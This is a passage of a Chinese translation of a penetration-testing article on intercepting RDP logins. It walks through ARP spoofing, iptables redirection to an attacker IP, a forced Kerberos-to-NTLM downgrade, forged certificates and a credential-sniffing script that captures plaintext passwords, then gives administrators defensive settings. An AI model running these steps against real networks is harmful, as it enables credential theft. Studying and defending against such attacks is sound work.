我們偽造的ARP應答后,使得IPv4流量轉發所有在受害者和網關之間進行的通信將通過我們的計算機。因為我們還不知道被攻擊者輸入的的IP地址,我們暫且不能運行python腳本。
首先,我們創造一個iptables規則,拒絕接受來自一個用于RDP
服務器傳輸的被攻擊者的SYN數據包:
1???? $ iptables -A FORWARD -p tcp -s"$VICTIM_IP" --syn --dport 3389 -j REJECT
我們不想重定向任何其他流量,因為被攻擊者可能會正在使用已經建立連接的RDP,這樣的話會破壞連接。如果我們不拒收那些數據包,受害者實際上會與真正的主機連接,而相反我們希望他們與我們連接。
其次,我們等待受害人的目的端口3389 TCP的SYN包,為了獲取最初的目的主機的地址。我們在這使用tcpdump命令 :
1
$ tcpdump -n -c 1
-i "$IFACE" src host "$VICTIM_IP" and \
2
"tcp[tcpflags] & tcp-syn != 0" and \
3
dst port 3389 2> /dev/null | \
4
sed -e 's/.*> \([0-9.]*\)\.3389:.*/\1/'
這個-c1選項 告知tcpdump在第一個數據包匹配之后就退出。這個SYN數據包就會丟失,但沒什么關系。很快被攻擊者的系統會再次進行嘗試。
第三,我們將檢索RDP服務器的SSL證書,并創建一個新的自己簽名證書,相同的通用名稱做為原始憑證。因此,我們可以改變證書的有效期,從表面上很難看出來區別出來它和原先的,除非你花很長時間比較。我寫了一個小bash腳本[23]來實現它。
現在,我們刪除了iptables規則,重定向了所有來自被攻擊者的TCP流量,對于真正的RDP主機連到了我們的IP地址:
1
$ iptables -t nat -A PREROUTING -p tcp -d
"$ORIGINAL_DEST" \
2
-s
"$VICTIM_IP" --dport 3389 -j DNAT --to-destination
"$ATTACKER_IP"
從Kerberos強制降級到NTLM,我們把所有受害者發送到目標端口88的TCP流量全部封鎖了:
1
$ iptables -A
INPUT -p tcp -s "$VICTIM_IP" --dport 88 \
2
-j REJECT --reject-with tcp-reset
現在,萬事俱備,只需要運行python腳本:
1 $
rdp-cred-sniffer.py -c "$CERTPATH" -k "$KEYPATH"
"$ORIGINAL_DEST"
移除
點擊此處添加圖片說明文字
?
圖6: 最后! 左邊:受害者連接到域控制器上的一個RDP會話視圖。右邊: 攻擊者的純文本密碼視圖。(請選擇一個比我的測試安裝程序更好的密碼。)
建議
現在你可能想知道,作為一個系統管理員,做些什么可以讓您的計算機網絡更安全。
首先,最重要的是,如果服務器合法身份無法被驗證,RDP連接是不可能發生的,比如說SSL證書不是由受信任的證書頒發機構(CA)簽署。您必須與您的企業CA簽署所有服務器證書。客戶端必須通過配置GPO【22】以禁止無效證書的連接。
計算機配置→策略→管理模板→Windows組件→遠程桌面服務(或終端服務)→遠程桌面連接客戶端→配置服務器驗證客戶端身份
是否在服務器端執行CredSSP(NLA)的問題是棘手的。根據記錄,這可以鋪開作為組策略[20]:
[同上]→遠程桌面主機會話(或終端服務器)→安全→通過使用網絡層認證來要求用在遠程連接中實現認證
既然我們已經看到在NLA下,客戶端緩存用戶的憑據是不可能方便地重新發送它們的,我們知道這些憑據是在內存中。因此,只要攻擊者有管理員權限的話就可以讀取它們,比如說Mimikatz
[24]。我們在客戶網絡中看到一種難以置信的場景:感染一臺機器,用mimikatz提取登錄用戶用于登錄的的明文憑證。并且繼續這樣做,直到你找到域管理員的密碼。這就是為什么你應該只在域控制器上使用你的域管理員賬戶而非其它任何地方。
但是,如果使用RDP遠程連接到域控制器上時,在工作站上用高權限賬戶登錄留下了記錄,這會是一個很嚴重的問題。此外,如果你執行NLA,“用戶下次登錄時須更改密碼”被啟用的話,在終端服務器工作的用戶將被鎖定。據我們所知道的,NLA唯一的
優勢是它更方便地可以減輕拒絕服務攻擊,因為它使用較少資源,也可以保護基于網絡的對于RDP的保護:如MS12-020 [25]。這就是為什么我們目前正在討論是否建議在RDP上禁用NLA。
如果你想避免使用NLA,設置組策略”需要使用特定安全層遠程連接“到SSL [ 20 ]。
您還有一個辦法來進一步增加RDP連接的安全性,就是除了用戶證書外兩次使用一個二個二階的因子。這可能有你想看的第三方產品,至少對于關鍵的安全系統:比如域控制器。
如果您有通過RDP連接到Windows終端服務器的Linux機器,我要在這里提醒一下,流行的RDP客戶端rdesktop不支持NLA,并且在根本不驗證SSL證書的有效性。一個
替代方案是xfreerdp,驗證證書的有效性。
最后,我們鼓勵你教育你的同事和用戶對于SSL警告不要掉以輕心,無論是RDP或HTTPS或其他任何東西。作為管理員,您應當確保??你的客戶端系統在受信任的CA列表有你的根CA。這樣一來,這些警告就不會出現,并且不需要打電話給IT部門。
移除
點擊此處添加圖片說明文字
?
Figure 7: A crucial GPO setting: Configure
server authentication for client
本文由 看雪翻譯小組 fyb波 編譯,來源The Pentest Experts
往期熱門內容推薦
等你來挑戰!| 看雪 CTF 2017 攻擊篇
【終于等到你!】看雪 CTF 2017
春風十里,我在等你
【木馬分析】諜影追蹤:全球首例 UEFI_BIOS 木馬分析
驚爆螞蟻礦機有后門
深圳,一個讓我彷徨的“天堂” —— 喜當爹
......
更多優秀文章,長按下方二維碼,“關注看雪學院公眾號”查看!
移除
點擊此處添加圖片說明文字
看雪論壇:http://bbs.pediy.com/
微信公眾號 ID:ikanxue
微博:看雪安全
投稿、合作:www.kanxue.com
?
日期:2018-04 瀏覽次數:6763
日期:2017-02 瀏覽次數:3438
日期:2017-09 瀏覽次數:3659
日期:2017-12 瀏覽次數:3529
日期:2018-12 瀏覽次數:4819
日期:2016-12 瀏覽次數:4584
日期:2017-07 瀏覽次數:13647
日期:2017-12 瀏覽次數:3508
日期:2018-06 瀏覽次數:4267
日期:2018-05 瀏覽次數:4446
日期:2017-12 瀏覽次數:3558
日期:2017-06 瀏覽次數:3984
日期:2018-01 瀏覽次數:3945
日期:2016-12 瀏覽次數:3915
日期:2018-08 瀏覽次數:4428
日期:2017-12 瀏覽次數:3708
日期:2016-09 瀏覽次數:6406
日期:2018-07 瀏覽次數:3208
日期:2016-12 瀏覽次數:3232
日期:2018-10 瀏覽次數:3386
日期:2018-10 瀏覽次數:3482
日期:2018-09 瀏覽次數:3580
日期:2018-02 瀏覽次數:3600
日期:2015-05 瀏覽次數:3521
日期:2018-09 瀏覽次數:3308
日期:2018-06 瀏覽次數:3435
日期:2017-02 瀏覽次數:3874
日期:2018-02 瀏覽次數:4337
日期:2018-02 瀏覽次數:4176
日期:2016-12 瀏覽次數:3573
Copyright ? 2013-2018 Tadeng NetWork Technology Co., LTD. All Rights Reserved.